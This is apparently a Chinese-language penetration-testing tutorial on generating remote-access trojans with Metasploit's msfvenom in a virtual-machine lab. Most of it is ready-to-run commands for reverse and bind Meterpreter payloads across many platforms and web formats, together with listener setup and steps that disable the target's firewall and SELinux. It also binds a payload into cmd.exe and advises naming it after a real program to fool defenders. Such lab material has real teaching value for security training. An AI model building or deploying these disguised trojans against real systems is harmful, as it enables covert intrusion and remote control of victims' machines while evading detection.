文章目录
一、工具:二、实验环境:三、环境准备:1. windows:2. linux:四、`msfvenom`简介:五、两种方式:六、使用场景:七、各平台生成木马的方法:八、生成反向反弹木马:1. windows平台:1.1 生成反弹木马:1.2 捆绑一个程序伪装木马:2. linux平台:九、生成正向连接木马:1. windows平台:2. lunux平台:一、工具:
Metasploit Framework(MSF)
漏洞利用框架
二、实验环境:
靶 机:windows10虚拟机:
192.168.100.150
CentOS6.5虚拟机:
192.168.100.163
攻 击 机:kali虚拟机:
192.168.100.132
三、环境准备:
在进行实验前,需要关闭靶机的防火墙;关闭防火墙的目的是让靶机放行进站入站的流量。
1. windows:
1、关闭安全中心实时保护:
2、关闭防火墙:
2. linux:
命令:
service iptables stopsetenforce 0
四、msfvenom
简介:
msfvenom
是msfpayload
,msfencode
的结合体,可利用msfvenom
生成木马程序
,并在目标机上执行,配合meterpreter
在本地监听上线。
kali
中使用msfvenom -h
查看所有参数:
┌──(root💀kali)-[~/桌面]└─# msfvenom -hMsfVenom - Metasploit 独立负载生成器。也是 msfpayload 和 msfencode 的替代品。用法:/usr/bin/msfvenom [options] <var=val>示例:/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe选项:-l, --list <type> 列出 [type] 的所有模块。类型有:payloads、encoders、nops、platforms、archs、encrypt、formats、all-p, --payload <payload> 要使用的有效负载(--list 要列出的有效负载,--list-options 用于参数)。为自定义指定“-”或 STDIN--list-options列出 --payload <value> 的标准、高级和规避选项-f, --format <format>输出格式(使用 --list 格式列出)-e, --encoder <encoder> 要使用的编码器(使用 --list 编码器列出)--service-name <value>生成服务二进制文件时使用的服务名称--sec-name <value>生成大型 Windows 二进制文件时使用的新部分名称。默认值:随机 4 个字符的字母字符串--smallest使用所有可用的编码器生成尽可能小的有效载荷--encrypt <value>应用于 shellcode 的加密或编码类型(使用 --list encrypt 列出)--encrypt-key <value>用于 --encrypt 的密钥--encrypt-iv<value>--encrypt 的初始化向量-a, --arch <arch> 用于 --payload 和 --encoders 的架构(使用 --list archs 列出)--platform <platform> --payload 的平台(使用 --list 平台列出)-o, --out <path> 将有效负载保存到文件-b, --bad-chars<list> 避免使用的字符示例:'\x00\xff'-n, --nopsled <length>将 [length] 大小的 nopsled 添加到有效负载上--pad-nops使用 -n <length> 指定的 nopsled 大小作为总负载大小,自动预先添加数量的 nopsled(nops 减去负载长度)-s, --space<length>结果有效载荷的最大大小--encoder-space <length>编码负载的最大大小(默认为 -s 值)-i, --iterations<count>设置有效载荷的编码次数-c, --add-code <path> 指定要包含的附加 win32 shellcode 文件-x, --template <path> 指定用作模板的自定义可执行文件-k, --keep 保留 --template 行为并将有效负载作为新线程注入-v, --var-name <value>指定用于某些输出格式的自定义变量名称-t, --timeout <second>从 STDIN 读取有效负载时等待的秒数(默认为 30,0 表示禁用)-h, --help 显示此消息
msfvenom
经常使用一些参数:
–p (--payload-options): 添加载荷payload。载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门--lhost:VPS的地址--lport:VPS监听的端口–a: 选择架构平台 x86 、x64 、 x86_64--platform:选择平台,windows、Linux–e: 使用编码进行免杀,如使用 x86/shikata_ga_nai 编码–i: 编码的次数–b: 避免使用的字符 例如:不使用 '\x00\'。PrependMigrate=true PrependMigrateProc=svchost.exe: 使这个木马默认会迁移到 svchost.exe 进程–f : 输出文件格式,如 exe、c、elf、macho、raw、asp、aspx、–l: 查看所有payload encoder nops。–o: 文件输出–s: 生成payload的最大长度,就是文件大小。–c: 添加自己的shellcode–x | -k: 捆绑,可以指定捆绑的程序进行伪装;
五、两种方式:
msf生成的payload分为正向和反向两种,正向需要正向连接,反向需要反向连接,反向是最常用的方式
正向连接指被攻击的目标机器通过正向的payload打开一个端口,攻击者的机器去连接目标机器的这个端口,从而建立连接,如果把攻击机器比喻成你,目标机器比喻成妹子,正向连接相当于你去追追妹子,最后建立了连接,两者可以互相通信。<>
反向指攻击者的机器打开一个端口,目标机器运行反向payload来连接攻击机器的端口,从而建立连接;用上面的比喻,反向连接相当于妹子来追你,最后建立了连接,相互通信。
六、使用场景:
反向是比较常用的方式,在内网渗透中会使用到正向。
如果目标机器能够出站与你的机器建立连接就可以使用正向,相当于你和妹子在一家公司上班,妹子可以主动找你,最后在一起了。
如果⽬标处于深层⽹络,不能直接连通外⽹,也不能通过其他机器连通则可以使用正向,相当于妹子在家里宅着天天不出门,你为了追到手,只有去他家拜访一下。
反向连接比正向连接更加稳定。
七、各平台生成木马的方法:
安卓app:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f elf > shell.elfMac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho > shell.machoPHP:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.phpASP:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f asp > shell.aspASPX:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f aspx > shell.aspxJSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.jspBash:msfvenom -p cmd/unix/reverse_bash LHOST=192.168.10.27 LPORT=8888 -f raw > shell.shPerlmsfvenom -p cmd/unix/reverse_perl LHOST=192.168.10.27 LPORT=8888 -f raw > shell.plPythonmsfvenom -p python/meterpreter/reverser_tcp LHOST=192.168.10.27 LPORT=8888 -f raw > shell.py
八、生成反向反弹木马:
在我们获得目标主机webshell或者通过社会工程学手段,让目标运行我们生成的木马,让目标服务器主动把shell反弹到攻击机上面。
1. windows平台:
1.1 生成反弹木马:
1、使用exploit/multi/handler
监听木马反弹过来的shell:
命令:
msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架;use exploit/multi/handler# 监听木马反弹过来的shellmsset payload windows/meterpreter/reverse_tcp# 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;set lhost 192.168.100.132# 我们的kali本机ipset lport 6666 # 我们的kali本机端口exploit # 开始进行监听;
2、使用msfvenom模块生成反弹木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.100.132 lport=6666 -f exe -o test.exe #lhost是我们的主机ip,lport是我们主机的用于监听的端口
3、把生成的反弹木马放到目标主机,并点击运行:
4、成功反弹shell到目标主机:
1.2 捆绑一个程序伪装木马:
在进行攻防演练时,蓝队通常会对运行的不明程序进行排查,如果我们在运行时,不做任何伪装,很容易被办掉。这里就需要我们把它伪装成正常程序,并且功能也和正常程序一样。这样就能很好的做到瞒天过海了。
1、使用exploit/multi/handler
监听木马反弹过来的shell:
命令:
msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架;use exploit/multi/handler# 监听木马反弹过来的shellmsset payload windows/x64/meterpreter/reverse_tcp # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;set lhost 192.168.100.132# 我们的kali本机ipset lport 6666 # 我们的kali本机端口exploit # 开始进行监听;
2、使用msfvenom模块生成反弹木马,这里是捆绑的cmd.exe程序:
命令:
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.100.132 lport=6666 -x cmd.exe -f exe -o test_win10.exe
当然,在实战中,我们生成的反弹木马可以直接使用本来的程序进行命名,这样就可以以假乱真了。
3、把生成的反弹木马放到目标主机,并点击运行,可以看出运行的窗口就是一个cmd窗口:
4、成功反弹shell到目标主机:
2. linux平台:
1、使用exploit/multi/handler
监听木马反弹过来的shell:
命令:
msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架;use exploit/multi/handler# 监听木马反弹过来的shellset payload linux/x86/meterpreter/reverse_tcp# 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;set lhost 192.168.100.132# 我们的kali本机ipset lport 6666 # 我们的kali本机端口exploit # 开始进行监听;
2、使用msfvenom模块生成反弹木马,:
命令:
#生成32位的马msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=VPS的地址 LPORT=8888 -f elf > test.elf#生成64位的马msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=VPS的地址 LPORT=8888 -f elf > test.elf
3、把生成的反弹木马放到目标主机,但没有可执行权限:
ls -l # 查看当前路径文件和目录的详细信息,包括文件权限等;
4、给木马程序赋予可执行权限,可以看到木马程序已经获得可执行权限:
命令:
chmod +x test1.elf # 给木马程序赋予可执行权限,x为执行
5、执行木马程序:
6、成功反弹shell到目标主机:
九、生成正向连接木马:
1. windows平台:
1、使用msfvenom模块生成正向连接木马:
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.100.132 lport=6666 -f exe -o test2.exe
2、将生成的木马放到目标服务器,并点击运行:
3、使用exploit/multi/handler
模块连接我们生成的木马,可以看到已经:
msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架;use exploit/multi/handler# 使用这个模块连接远程木马;set payload windows/x64/meterpreter/bind_tcp# 设置正向连接payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;set rhost 192.168.100.150 # 目标主机ipset lport 6666 # 我们的kali本机端口exploit
2. lunux平台:
1、使用msfvenom模块生成正向连接木马:
msfvenom -p linux/x86/meterpreter/bind_tcp lhost=192.168.100.132 lport=6666 -f elf > test2.elf
2、把生成的正向连接木马放到目标主机,但没有可执行权限:
命令:
ls -l # 查看当前路径文件和目录的详细信息,包括文件权限等;
3、给木马程序赋予可执行权限,可以看到木马程序已经获得可执行权限:
命令:
chmod +x test2.elf # 给木马程序赋予可执行权限,x为执行
5、执行木马程序:
6、使用exploit/multi/handler
模块连接我们生成的木马,可以看到已经获得目标服务器的meterpreter_shell
:
msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架;use exploit/multi/handler# 使用这个模块连接远程木马;set payload linux/x86/meterpreter/bind_tcp# 设置正向连接payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;set rhost 192.168.100.163 # 目标主机ipset lport 6666 # 我们的kali本机端口exploit